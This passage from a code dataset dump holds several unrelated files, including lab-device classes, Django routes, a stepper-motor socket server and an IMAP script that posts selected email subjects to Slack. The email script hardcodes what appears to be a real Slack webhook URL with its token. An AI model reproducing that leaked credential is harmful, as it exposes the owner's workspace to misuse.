name=\"target_pos\")\n self.cam = CameraCA(Id)\n self.led = PVEnumAdjustable(self.Id + \":LED\", name=\"led\")\n self.target = PVEnumAdjustable(self.Id + \":PROBE_SP\", name=\"target\")\n if name:\n self.alias = Alias(name)\n self.alias.append(self.target_pos.alias)\n self.alias.append(self.target.alias)\n self.alias.append(self.led.alias)\n\n def movein(self, target=1):\n self.target.set_target_value(target)\n\n def moveout(self, target=0):\n self.target.set_target_value(target)\n\n def __repr__(self):\n s = f\"**Profile Monitor {self.name}**\\n\"\n s += f\"Target in beam: {self.target.get_current_value().name}\\n\"\n return s\n\n\nclass Bernina_XEYE:\n\n def __init__(self, camera_pv=None, zoomstage_pv=None, bshost=None, bsport=None, name=None):\n self.alias = Alias(name)\n self.name = name\n if zoomstage_pv:\n append_object_to_object(self, Motor, zoomstage_pv, name=\"zoom\")\n try:\n self.cam = CameraCA(camera_pv)\n except:\n print(\"X-Ray eye Cam not found\")\n pass\n\n if bshost:\n self.camBS = CameraBS(host=bshost, port=bsport)\n\n def get_adjustable_positions_str(self):\n ostr = \"*****Xeye motor positions******\\n\"\n\n for tkey, item in self.__dict__.items():\n if hasattr(item, \"get_current_value\"):\n pos = item.get_current_value()\n ostr += \" \" + tkey.ljust(17) + \" : % 14g\\n\" % pos\n return ostr\n\n def __repr__(self):\n return self.get_adjustable_positions_str()\n\n\n# self._led = PV(self.Id+':LED')\n\n\n# def illuminate(self,value=None):\n# if value:\n# self._led.put(value)\n# else:\n# self._led.put(\n# not self.get_illumination_state())\n#\n# def get_illumination_state(self):\n# return bool(self._led.get())\n#\n\n\n\n","sub_path":"slic/devices/xdiagnostics/profile_monitors_new.py","file_name":"profile_monitors_new.py","file_ext":"py","file_size_in_byte":2597,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"619408838","text":"import imaplib\nimport email\nfrom email import policy \nimport requests\nimport json\n\nslack_webhook_url = \"https://hooks.slack.com/services/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\"\n\ndef sendSlackWebhook(strText):\n headers = {\n \"Content-type\": \"application/json\"\n }\n\n data = {\n \"text\" : strText\n }\n\n res = requests.post(slack_webhook_url, headers=headers, data=json.dumps(data))\n \n if res.status_code == 200:\n return \"ok\"\n else:\n return \"error\"\n\ndef find_encoding_info(txt): \n info = email.header.decode_header(txt)\n subject, encode = info[0]\n return subject, encode\n\nimap = imaplib.IMAP4_SSL('imap.naver.com')\nid = '아이디'\npw = '비밀번호'\nimap.login(id, pw)\n\nimap.select('INBOX')\nresp, data = imap.uid('search', None, 'All')\nall_email = data[0].split()\nlast_email = all_email[-5:] \n\nfor mail in reversed(last_email):\n result, data = imap.uid('fetch', mail, '(RFC822)')\n raw_email = data[0][1]\n email_message = email.message_from_bytes(raw_email, policy=policy.default) \n\n email_from = str(email_message['From'])\n email_date = str(email_message['Date'])\n subject, encode = find_encoding_info(email_message['Subject'])\n subject_str = str(subject)\n if subject_str.find(\"정산\") >= 0:\n slack_send_message = email_from + '\\n' + email_date + '\\n' + subject_str\n sendSlackWebhook(slack_send_message)\n print(slack_send_message)\n\nimap.close()\nimap.logout()","sub_path":"main16-3.py","file_name":"main16-3.py","file_ext":"py","file_size_in_byte":1468,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"307232115","text":"\"\"\"archivo URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/2.0/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path, include\nfrom django.conf.urls.i18n import i18n_patterns\nfrom django.conf.urls import include, url\nfrom gam_app import views\nfrom django.contrib.flatpages import views as flat_views\nfrom dal import autocomplete\nfrom gam_app.views import *\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('accounts/', include('registration.backends.hmac.urls')),\n path('i18n/', include('django.conf.urls.i18n')),\n]\n\nurlpatterns += i18n_patterns(\n path('', views.index, name='index'),\n path('buscar/', views.search, name='search'),\n path('cuentas/', include('django.contrib.auth.urls')),\n path('control-de-misión/', views.mission_control, name='mission_control'),\n path('persona/create/', PersonaCreate.as_view(), name='persona_create'),\n path('persona//update/', PersonaUpdate.as_view(), name='persona_update'),\n path('personalookup/', PersonaNameLookup.as_view(), name='persona_name_lookup'),\n path('lugar/create/', LugarCreate.as_view(), name='lugar_create'),\n path('lugar//update/', LugarUpdate.as_view(), name='lugar_update'),\n path('lugarlookup/', LugarNameLookup.as_view(), name='lugar_name_lookup'),\n path('organizacion/create/', OrganizacionCreate.as_view(), name='organizacion_create'),\n path('organizacion//update/', OrganizacionUpdate.as_view(), name='organizacion_update'),\n path('organizacionlookup/', OrganizacionNameLookup.as_view(), name='organizacion_name_lookup'),\n path('autocompletar_manuscrito/', autocompletar_manuscrito.as_view(), name='autocompletar_manuscrito'),\n path('necisita_transcripción', views.necisita_transcripción, name='necisita_transcripción'),\n path('crear_usuario/', include('registration.backends.simple.urls')),\n path('file/', views.document, name='document'),\n path('editar/', views.document_edit, name='document_edit'),\n path('dzi/', views.dzi, name='dzi'),\n path('caso/', views.caso, name='caso'),\n path('advanced_search_submit/', views.advanced_search_submit, name='advanced-search-submit'),\n path('sobre/', flat_views.flatpage, {'url': '/es/sobre/'}, name='sobre'),\n path('about/', flat_views.flatpage, {'url': '/en/about/'}, name='about'),\n path('documentos/', views.all_documents, name='all_documents'),\n path('portapapeles/', views.espacio_de_trabajo, name='espacio_de_trabajo'),\n path('portapapeles/', views.portapapeles, name='portapapeles'),\n path('texto/', views.todo_texto, name='all_texto'),\n path('explorar/', views.explorar, name='explorar'),\n path('caso/', views.single_caso, name='single_caso'),\n path('lugar/', views.lugar, name='lugar'),\n path('persona/', views.persona, name='persona'),\n path('procesamiento//////', views.procesamiento, name='procesamiento'),\n #paths for physical location urls\n path('//////', views.documento5, name='documento5'),\n path('/////', views.documento4, name='documento4'),\n path('////', views.documento3, name='documento3'),\n path('///', views.documento2, name='documento2'),\n path('//', views.documento1, name='documento1'),\n path('/', views.documento0, name='documento0'),\n)\n","sub_path":"archivo/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":4111,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"101557381","text":"\n# This function takes last element as pivot, places\n# the pivot element at its correct position in sorted\n# array, and places all smaller (smaller than pivot)\n# to left of pivot and all greater elements to right\n# of pivot\n\n\ndef partition(arr,low,high):\n count=0\n i = ( low-1 ) # index of smaller element\n pivot = arr[high] # pivot\n print(\"pivot is: \",pivot)\n\n for j in range(low , high):\n # If current element is smaller than or\n # equal to pivot\n count+=1\n if arr[j] <= pivot:\n\n # increment index of smaller element\n i = i+1\n print(\"swap: \"+ str(i) +\" and \" + str(j))\n arr[i],arr[j] = arr[j],arr[i]\n print(arr[low:high+1])\n\n print(\"L swap: \" + str(high) +\" and \" + str(i+1))\n arr[i+1],arr[high] = arr[high],arr[i+1]\n print(\"count is: \", count)\n print(arr)\n return ( i+1 )\n\n# The main function that implements QuickSort\n# arr[] --> Array to be sorted,\n# low --> Starting index,\n# high --> Ending index\n\n# Function to do Quick sort\ndef quickSort(arr,low,high):\n if low < high:\n\n # pi is partitioning index, arr[p] is now\n # at right place\n pi = partition(arr,low,high)\n # Separately sort elements before\n # partition and after partition\n #quickSort(arr, low, pi-1)\n #quickSort(arr, pi+1, high)\n\n#arr = [1, 2, 3, 4, 5, 6, 7]\n#arr = [7, 6, 5, 4, 3, 2, 1]\n#arr = [2, 2, 2, 2, 2, 2, 2]\n#arr = [2,2,2]\narr= [1,4,7,2,8,6]\nprint(\"original arr: \",arr)\nn = len(arr)\nquickSort(arr,0,n-1)\n\nprint (\"Sorted array is: \", arr)\n","sub_path":"algo9.py","file_name":"algo9.py","file_ext":"py","file_size_in_byte":1594,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"15833199","text":"from flask import make_response, abort, request\nfrom . import web\nfrom config import config\nfrom directory_app.directory import directory\nimport auth\nimport json\n\t\t\n'''\n\tThe following functions handle routed web requests for Directory searches\n'''\t\n\n@web.route(config.directory_uri_path + '/details', methods = ['GET'])\n@auth.requires_auth(scope='general')\ndef details():\n\t'''\n\t\tVerify eligibility to vote in the ASPSU student elections\n\t'''\n\tglobal request\n\n\tperson_id = request.args.get('id')\n\tdirectory.log.info('details(): person_id: ' + str(person_id))\n\t\n\tdirectory.log.info('details(): called from remote address: ' + str(request.remote_addr) + ', for end point: ' + str(request.endpoint))\n\tuser = request.authorization.username\n\tstatus = directory.get_detail(person_id, user=user)\n\tif 'details' in status:\n\t\treturn(make_response(json.dumps(status), 200, {'Content-Type': 'application/json'}))\n\telse:\n\t\tabort(config.people_code_by_error[status['error']['type']], status)\n\n\n@web.route(config.directory_uri_path + '/search', methods = ['GET'])\n@auth.requires_auth(scope='general')\ndef search():\n\t'''\n\t\tVerify eligibility to vote in the ASPSU student elections\n\t'''\n\tglobal request\n\n\tquery = request.args.get('q')\n\tdirectory.log.info('search(): query: ' + str(query))\n\tdirectory.log.info('search(): query type: ' + str(type(query)))\n\tuser = request.authorization.username\n\tdirectory.log.info('search(): called from remote address: ' + str(request.remote_addr) + ', for end point: ' + str(request.endpoint))\n\tstatus = directory.search(query.split(), user=user)\n\tif 'directory' in status:\n\t\treturn(make_response(json.dumps(status), 200, {'Content-Type': 'application/json'}))\n\telse:\n\t\tabort(config.people_code_by_error[status['error']['type']], status)\n\n\n","sub_path":"courses_app/web/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1756,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"157269695","text":"load(\"@bazel_tools//tools/build_defs/repo:http.bzl\", \"http_archive\")\n\nPLUGIN_VERSION = \"1.9.0\"\n\ndef java_proto_deps():\n existing = native.existing_rules()\n\n if \"protoc_gen_grpc_java_linux_x86_64\" not in existing:\n native.http_file(\n name = \"protoc_gen_grpc_java_linux_x86_64\",\n url = \"https://repo1.maven.org/maven2/io/grpc/protoc-gen-grpc-java/{plugin_version}/protoc-gen-grpc-java-{plugin_version}-linux-x86_64.exe\".format(\n plugin_version = PLUGIN_VERSION,\n ),\n sha256 = \"f20cc8c052eea904c5a979c140237696e3f187f35deac49cd70b16dc0635f463\",\n )\n\n if \"protoc_gen_grpc_java_linux_macosx\" not in existing:\n native.http_file(\n name = \"protoc_gen_grpc_java_linux_macosx\",\n url = \"https://repo1.maven.org/maven2/io/grpc/protoc-gen-grpc-java/{plugin_version}/protoc-gen-grpc-java-{plugin_version}-macosx.exe\".format(\n plugin_version = PLUGIN_VERSION,\n ),\n sha256 = \"593937361f99e8b145fe29c78c71cdd00e8327ae88de010729479eb2acdc1de9\",\n )\n\n if \"io_grpc_grpc_java\" not in existing:\n http_archive(\n name = \"io_grpc_grpc_java\",\n urls = [\"https://github.com/grpc/grpc-java/archive/v1.15.0.tar.gz\"],\n strip_prefix = \"grpc-java-1.15.0\",\n sha256 = \"8a131e773b1c9c0442e606b7fc85d7fc6739659281589d01bd917ceda218a1c7\",\n )\n","sub_path":"java/deps.bzl","file_name":"deps.bzl","file_ext":"bzl","file_size_in_byte":1418,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"633178869","text":"from selenium.common.exceptions import NoSuchElementException\nfrom selenium.common.exceptions import NoAlertPresentException\nimport math\nfrom selenium.common.exceptions import TimeoutException\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom locators import BasePageLocators\n\nclass BasketPage():\n\n def __init__(self, browser, url, timeout=10):\n self.browser = browser\n self.url = url\n self.browser.implicitly_wait(timeout)\n\n def open(self): \n self.browser.get(self.url)\n\n def is_element_present(self, how, what):\n try:\n self.browser.find_element(how, what)\n except (NoSuchElementException):\n return False\n return True\n\n def is_not_element_present(self, how, what, timeout=4):\n try:\n WebDriverWait(self.browser, timeout).until(EC.presence_of_element_located((how, what)))\n except TimeoutException:\n return True\n\n return False\n\n def is_disappeared(self, how, what, timeout=4):\n try:\n WebDriverWait(self.browser, timeout, 1, TimeoutException).\\\n until_not(EC.presence_of_element_located((how, what)))\n except TimeoutException:\n return False\n\n return True\n\n def go_to_basket_page(self):\n link = self.browser.find_element(*BasePageLocators.BASKET)\n link.click()\n\n def should_be_empty_basket(self):\n assert self.is_not_element_present(*BasePageLocators.EMPTY), \"Basket is not empty\"\n\n def should_be_empty_text(self):\n assert self.is_element_present(*BasePageLocators.TEXT_EMPTY), \"No text about empty basket\"","sub_path":"pages/basket_page.py","file_name":"basket_page.py","file_ext":"py","file_size_in_byte":1703,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"272744961","text":"from time import sleep\nimport pigpio\n\nDIR = 20 # Direction GPIO Pin\nSTEP = 21 # Step GPIO Pin\nWORK = 16\nSLEEP = 12\n\n# Connect to pigpiod daemon\npi = pigpio.pi()\n\n# Set up pins as an output\npi.set_mode(DIR, pigpio.OUTPUT)\npi.set_mode(STEP, pigpio.OUTPUT)\n\n# Set up input switch\npi.set_mode(WORK, pigpio.OUTPUT)\npi.write(WORK, 1)\n\nmodus = 0\n\n\nMODE = (14, 15, 18) # Microstep Resolution GPIO Pins\n\nRESOLUTION = {0: (0, 0, 0),\n 1: (1, 0, 0),\n 2: (0, 1, 0),\n 3: (1, 1, 0),\n 4: (0, 0, 1),\n 5: (1, 0, 1)}\n\n\nRESOLUTION = {0: (0, 0, 0),\n 1: (1, 0, 0),\n 2: (0, 1, 0),\n 3: (1, 1, 0),\n 4: (0, 1, 1),\n 5: (1, 1, 1)}\nfor i in range(3):\n pi.write(MODE[i], RESOLUTION[modus][i])\n\npi.write(DIR,1)\n\n### Set duty cycle and frequency\npi.set_PWM_dutycycle(STEP, 128) # PWM 1/2 On 1/2 Off\n###pi.set_PWM_frequency(STEP, 500) # 500 pulses per second\n\nimport socket # Import socket module\n\ns = socket.socket() # Create a socket object\ns.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\nhost = \"0.0.0.0\"#socket.gethostname() # Get local machine name\nport = 5000 # Reserve a port for your service.\ns.bind((host, port)) # Bind to the port\ns.listen(1)\n\nsomeoneConnected = False\n\n\n\ntry:\n while True:\n while someoneConnected:\n data = conn.recv(1024)\n if data:\n data = data.decode(\"utf-8\") \n #print(\"no data\")\n data = data.split(\"\\n\",1)[0]\n if data == \"DISCONNECT\":\n conn.close()\n someoneConnected = False\n if data.startswith(\"speed:\"):\n speed = data[len(\"speed:\"):]\n speed = int(speed)\n if (speed):\n pi.set_PWM_frequency(STEP, speed*10)\n if data.startswith(\"status:\"):\n if data == \"status:drive\":\n pi.write(WORK,1)\n pi.write(SLEEP,1)\n if data == \"status:hold\":\n pi.write(WORK,0)\n pi.write(SLEEP,1)\n if data == \"status:sleep\":\n pi.write(WORK,0)\n pi.write(SLEEP,0)\n if data.startswith(\"Microstepping:\"):\n modus = data[len(\"Microstepping:\"):]\n print(\"Set Mode to:\")\n modus = int(modus)\n \n for i in range(3):\n pi.write(MODE[i], RESOLUTION[modus][i])\n \n \n \n \n print(data)\n print(\"keiner verbunden!\")\n conn, addr = s.accept()\n print('Got connection from', addr)\n someoneConnected = True\n\nexcept KeyboardInterrupt:\n print (\"\\nCtrl-C pressed. Stopping PIGPIO and exiting...\")\nfinally:\n pi.set_PWM_dutycycle(STEP, 0) # PWM off\n pi.write(WORK, 0)\n pi.stop()\n\n\n\n","sub_path":"slider_v2/slider_stepper_einer.py","file_name":"slider_stepper_einer.py","file_ext":"py","file_size_in_byte":3116,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"363665364","text":"def generator_new(generator):\n g = generator()\n result = None\n __pragma__(\"js\", \"{}\", \"\"\"\n function *makeIterator() {\n result = g.next();\n \"\"\")\n while not result.done:\n value = result.value\n __pragma__(\"js\", \"{}\", \"\"\"\n yield value;\n result = g.next();\n \"\"\")\n __pragma__(\"js\", \"{}\", \"\"\"\n }\n result = makeIterator();\n \"\"\")\n return result\n","sub_path":"src/tfchain/polyfill/iterator.py","file_name":"iterator.py","file_ext":"py","file_size_in_byte":407,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"135539709","text":"def dijkstra(graph,src,dest,visited=[],distances={},predecessors={}):\n \"\"\" calculates a shortest path tree routed in src\n \"\"\" \n # a few sanity checks\n if src not in graph:\n raise TypeError('The root of the shortest path tree cannot be found')\n if dest not in graph:\n raise TypeError('The target of the shortest path cannot be found') \n # ending condition\n if src == dest:\n # We build the shortest path and display it\n path=[]\n pred=dest\n while pred != None:\n path.append(pred)\n pred=predecessors.get(pred,None)\n print('shortest path: '+str(path)+\" cost=\"+str(distances[dest])) \n else : \n # if it is the initial run, initializes the cost\n if not visited: \n distances[src]=0\n # visit the neighbors\n for neighbor in graph[src] :\n if neighbor not in visited:\n new_distance = distances[src] + graph[src][neighbor]\n if new_distance < distances.get(neighbor,float('inf')):\n distances[neighbor] = new_distance\n predecessors[neighbor] = src\n # mark as visited\n visited.append(src)\n # now that all neighbors have been visited: recurse \n # select the non visited node with lowest distance 'x'\n # run Dijskstra with src='x'\n unvisited={}\n for k in graph:\n if k not in visited:\n unvisited[k] = distances.get(k,float('inf')) \n x=min(unvisited, key=unvisited.get)\n dijkstra(graph,x,dest,visited,distances,predecessors)\n \n\n\nif __name__ == \"__main__\":\n #import sys;sys.argv = ['', 'Test.testName']\n #unittest.main()\n graph = {'a1': {'b1': 1},\n 'a2': {'a1': 1},\n 'a3': {'b3': 1,'a2': 1},\n 'a4': {'b4': 1},\n 'b1': {'c1': 1},\n 'b2': {'a2': 1},\n 'b3': {'c3': 1},\n 'b4': {'a4': 1},\n 'c1': {'d1': 1, 'f1': 1},\n 'c2': {'b2': 1},\n 'c3': {'d3': 1, 'f3': 1},\n 'c4': {'b4': 1},\n 'd1': {'d2': 1, 'f1': 1},\n 'd2': {'d3': 1, 'f3': 1},\n 'd3': {'d4': 1},\n 'd4': {'c4': 1},\n 'e1': {'f1': 1},\n 'e2': {'e1': 1},\n 'e3': {'e2': 1, 'f3': 1, 'c2': 1},\n 'e4': {'e3': 1},\n 'f1': {'g1': 1},\n 'f2': {'d3': 1, 'c2': 1, 'e2': 1},\n 'f3': {'g3': 1},\n 'f4': {'e4': 1, 'c4': 1},\n 'g1': {'i1': 1},\n 'g2': {'f2': 1},\n 'g3': {'h2': 1, 'i3': 1},\n 'g4': {'f4': 1},\n 'h1': {'i4': 1},\n 'h2': {'h1': 1},\n 'h3': {'h2': 1, 'i3': 1},\n 'h4': {'h3': 1},\n 'i1': {'j1': 1},\n 'i2': {'g2': 1, 'h2': 1},\n 'i3': {'j3': 1},\n 'i4': {'h4': 1, 'g4': 1},\n 'j1': {'k1': 1},\n 'j2': {'i2': 1},\n 'j3': {'k3': 1},\n 'j4': {'i4': 1},\n 'k1': {'k2': 1},\n 'k2': {'j2': 1, 'k3': 1},\n 'k3': {'k4': 1},\n 'k4': {'j4': 1}}\n \n \n dijkstra(graph,'a3','a1')\n","sub_path":"our_dijikstra.py","file_name":"our_dijikstra.py","file_ext":"py","file_size_in_byte":3216,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"278425400","text":"import matplotlib.pyplot as plt\n\nfrom helpers.strings import COLORS\n\n\nclass APUGraphic:\n def __init__(self, time_line):\n self.time_line = time_line\n plt.style.use('seaborn-bright')\n # plt.tight_layout()\n\n def create_graphic(self, graphic_name, args):\n fig, ax = plt.subplots(figsize=(10, 6))\n if len(args) == 4:\n ax.plot(self.time_line, args[0], color=COLORS[0], marker='*', label=args[2])\n ax.plot(self.time_line, args[1], color=COLORS[1], marker='o', label=args[3])\n else:\n ax.plot(self.time_line, args[0], color=COLORS[0], marker='*', label=args[3])\n ax.plot(self.time_line, args[1], color=COLORS[1], marker='o', label=args[4])\n ax.plot(self.time_line, args[2], color=COLORS[2], marker='|', label=args[5])\n ax.set_xlabel('Time')\n ax.set_ylabel('Data')\n ax.legend(loc='best')\n ax.tick_params(axis='x', which='minor', labelsize=3)\n plt.xticks(self.time_line, rotation=90)\n plt.show()\n fig.savefig(f'files/graphics/{graphic_name}.png', bbox_inches='tight')\n plt.close(fig)\n\n\n","sub_path":"graphic.py","file_name":"graphic.py","file_ext":"py","file_size_in_byte":1134,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"400847701","text":"import pypyodbc\r\nimport Constants\r\nfrom ContestantModel import ContestantModel\r\nfrom ElectionModel import ElectionModel\r\n\r\nfrom PoliticalPartyModel import PoliticalPartyModel\r\nfrom ConstituencyModel import ConstituencyModel\r\nclass ElectionNominationModel:\r\n def __init__(self, uniqueID=0, electionID=0, electionModel=None, contestantID=0, contestantModel = None, politicalPartyID=0, politicalPartyModel=None, constituencyID=0, constituencyModel=None):\r\n self.uniqueID = uniqueID\r\n self.electionID = electionID\r\n self.electionModel = electionModel\r\n self.contestantID = contestantID\r\n self.contestantModel = contestantModel\r\n self.politicalPartyID = politicalPartyID\r\n self.politicalPartyModel = politicalPartyModel\r\n \r\n self.constituencyID = constituencyID\r\n self.constituencyModel = constituencyModel\r\n \r\n \r\n @staticmethod\r\n def ElectionNominationgetElectionByID(rid):\r\n conn3 = pypyodbc.connect(Constants.connString, autocommit=True)\r\n cur3 = conn3.cursor()\r\n \r\n sqlcmd = \"SELECT * FROM ContestantElectionDetails WHERE uniqueID = '\"+str(rid)+\"'\"\r\n print(sqlcmd)\r\n cur3.execute(sqlcmd)\r\n row = cur3.fetchone()\r\n electionNominationModel = None\r\n if row:\r\n contestantObject = ContestantModel.getContestantNameByID(row[1])\r\n politicalPartyObject = PoliticalPartyModel.getPoliticalPartyByID(row[2])\r\n electionObject = ElectionModel.getElectionNameByID(row[3])\r\n print(contestantObject.firstName)\r\n \r\n constituencyObject = ConstituencyModel.getConstituencyNameByID(row[4])\r\n \r\n electionNominationModel = ElectionNominationModel(row[0], electionID=row[1], electionModel=electionObject, contestantID= row[2], contestantModel = contestantObject, politicalPartyID=row[3], politicalPartyModel = politicalPartyObject, constituencyID = row[4], constituencyModel=constituencyObject)\r\n return electionNominationModel \r\n \r\n \r\n @staticmethod\r\n def getAllContestantByElectionByConstituency(electionID, constituencyID):\r\n conn3 = pypyodbc.connect(Constants.connString, autocommit=True)\r\n cur3 = conn3.cursor()\r\n \r\n sqlcmd = \"\"\"SELECT ContestantMaster.contestantID, firstName FROM ContestantMaster \r\n INNER JOIN ContestantElectionDetails ON ContestantElectionDetails.contestantID = ContestantMaster.contestantID \r\n AND ContestantElectionDetails.electionID = '\"\"\"+str(electionID)+\"\"\"' \r\n AND ContestantElectionDetails.constituencyID = '\"\"\"+str(constituencyID)+\"\"\"'\"\"\"\r\n print(sqlcmd)\r\n cur3.execute(sqlcmd)\r\n \r\n contestantsList = []\r\n while True:\r\n row = cur3.fetchone()\r\n if not row:\r\n break\r\n contestantModel = ContestantModel(row[0], firstName=row[1])\r\n contestantsList.append(contestantModel)\r\n return contestantsList\r\n \r\n @staticmethod\r\n def getPoliticalPartyNameByElectionByConstituencyByContestantID(electionID, constituencyID, contestantID):\r\n conn3 = pypyodbc.connect(Constants.connString, autocommit=True)\r\n cur3 = conn3.cursor()\r\n \r\n sqlcmd = \"\"\"SELECT politicalPartyName FROM ContestantElectionDetails \r\n INNER JOIN PoliticalPartyMaster ON PoliticalPartyMaster.PoliticalPartyID = ContestantElectionDetails.PoliticalPartyID \r\n AND ContestantElectionDetails.electionID = '\"\"\"+str(electionID)+\"\"\"' \r\n AND ContestantElectionDetails.constituencyID = '\"\"\"+str(constituencyID)+\"\"\"'\r\n AND ContestantElectionDetails.contestantID = '\"\"\"+str(contestantID)+\"\"\"'\"\"\"\r\n print(sqlcmd)\r\n cur3.execute(sqlcmd)\r\n \r\n politicalPatyName = \"\"\r\n row = cur3.fetchone()\r\n if row:\r\n politicalPatyName = row[0]\r\n return politicalPatyName ","sub_path":"project/2021/Evoting2019/src/ElectionNominationModel.py","file_name":"ElectionNominationModel.py","file_ext":"py","file_size_in_byte":4029,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"25381437","text":"from matplotlib.pyplot import *\nfrom PIL import ImageColor, Image\n\ninp = input().split(\" \")\nheight = int(inp[3])\nwidth = int(inp[4])\nim = Image.new(\"RGB\", (width, height))\n\nfor i in range(height):\n data = input().split(\" \")\n for j in range(width):\n cur = data[j]\n im.putpixel((j, i), ImageColor.getcolor(\"#\"+cur, 'RGB')) #Выполнит тоже самое\n\nfigure()\nimshow(im)\nshow() ","sub_path":"2task.py","file_name":"2task.py","file_ext":"py","file_size_in_byte":410,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"432814658","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport sys\nimport os\nimport re\nimport nysol.util.margs as margs\nimport nysol.mcmd as nm\nimport nysol.view.mnetpie as nnpie\nimport nysol.util as nu\n\n\nhelpMSG=\"\"\"\n概要) Nodeデータ&EdgeファイルからグラフD3を使ったHTMLを作成する\n\n書式) #{$cmd} ni= ei= ef= nf= [nodeSizeFld=] [nodeColorFld=] [edgeWidthFld=] [edgeColorFld=] pieDataFld= pieTipsFld= picFld= o= -undirect\n\ncircle pieChart 画像 をNodeとして利用可能\n\n\t\t\"\"\"\nif \"-help\" in sys.argv or \"--help\" in sys.argv:\n\tprint(helpMSG)\n\texit()\n\nkeylist=[\n\t[\"ei\",\"ni\",\"ef\",\"nf\",\"o\",\n\t\"nodeSizeFld\",\"pieDataFld\",\"pieTipsFld\",\n\t\"nodeTipsFld\",\"picFld\",\"nodeColorFld\",\n\t\"edgeWidthFld\",\"edgeColorFld\"],\n\t[\"undirect\",\"offline\"]\n]\nnparalist=[\n\t\"ei\",\"ni\",\"ef\",\"nf\",\"o\"\n]\n\nkwd = nu.margv2dict(sys.argv,keylist,nparalist)\nfooter = os.path.basename(sys.argv[0]) + \" \" + \" \".join(sys.argv[1:])\n\nnnpie.mnetpie(**kwd)\n\n\nnu.mmsg.endLog(footer)\n\n\n","sub_path":"scripts/mnetpie.py","file_name":"mnetpie.py","file_ext":"py","file_size_in_byte":955,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"579934539","text":"import numpy as np\r\nimport pandas as pd\r\nimport math\r\nimport os\r\n\r\n\r\nclass Categorical_Encoding():\r\n \r\n param_dict_Col = {}\r\n def __init__ (self, strategy, variables,Topn=None, Target_Var= None):\r\n self.strategy = strategy\r\n self.variables = variables\r\n self.Target_Var = Target_Var\r\n self.Topn = Topn\r\n \r\n def fit(self,df): \r\n if self.strategy =='OneHot':\r\n for i in self.variables:\r\n varList = df[i].unique()\r\n self.param_dict_Col[i]= varList[:self.Topn] \r\n \r\n if self.strategy == 'Ratio_Encoding':\r\n for i in self.variables: \r\n df[i].fillna('Missing',inplace=True)\r\n df['Prob_Target_1'] = df[self.Target_Var]\r\n prob_df = pd.DataFrame(df.groupby([i])['Prob_Target_1'].mean()) \r\n prob_df['Prob_Target_0'] = 1- prob_df.Prob_Target_1\r\n prob_df['Ratio'] = prob_df.Prob_Target_1/prob_df.Prob_Target_0 \r\n self.param_dict_Col[i]= prob_df['Ratio'].to_dict() \r\n \r\n if self.strategy == 'WOE_Encoding':\r\n for i in self.variables:\r\n df[i].fillna('Missing',inplace=True)\r\n per_df = pd.DataFrame(pd.crosstab(df[i], df[self.Target_Var], normalize='columns').mul(100))\r\n per_df.rename(columns={0: \"Target_0_Per\", 1: \"Target_1_Per\"},inplace=True)\r\n per_df['WOE'] = np.log(per_df['Target_1_Per']/per_df['Target_0_Per'])\r\n value = per_df['WOE'].to_dict() \r\n self.param_dict_Col[i]= value\r\n \r\n return self\r\n \r\n \r\n \r\n def transform(self,df):\r\n if self.strategy =='OneHot':\r\n for key,value in self.param_dict_Col.items():\r\n for a in value:\r\n column = key + \"_\" + a\r\n df[column] = np.where(df[key] == a,1,0) \r\n \r\n if self.strategy == 'Ratio_Encoding':\r\n for var in self.param_dict_Col:\r\n df[str(var) +\"_Encoded\"] = df[var].map(self.param_dict_Col[var] ) \r\n \r\n if self.strategy == 'WOE_Encoding':\r\n for var in self.param_dict_Col:\r\n df[str(var) +\"_WOE_Encoded\"] = df[var].map(self.param_dict_[var])\r\n \r\n return df \r\n \r\n","sub_path":"fast_ml/feature_engineering_categorical.py","file_name":"feature_engineering_categorical.py","file_ext":"py","file_size_in_byte":2469,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"404412496","text":"# -*- coding: utf-8 -*-\n\"\"\"\n The ``base`` module of modelphy library\n =========================\n \n Provides ...\n \n :Example:\n \n >>> import hades.aero.Isentropic as Is\n >>> Is.TiTs_Mach(1.)\n 1.2\n >>> Is.TiTs_Mach(2., gamma=1.6)\n 2.2\n \n Available functions\n -------------------\n \n Provides ...\n \"\"\"\n\nimport numpy as np\nimport math\nimport flowdyn.modelphy.base as mbase\n\n# ===============================================================\ndef _vecmag(qdata):\n return 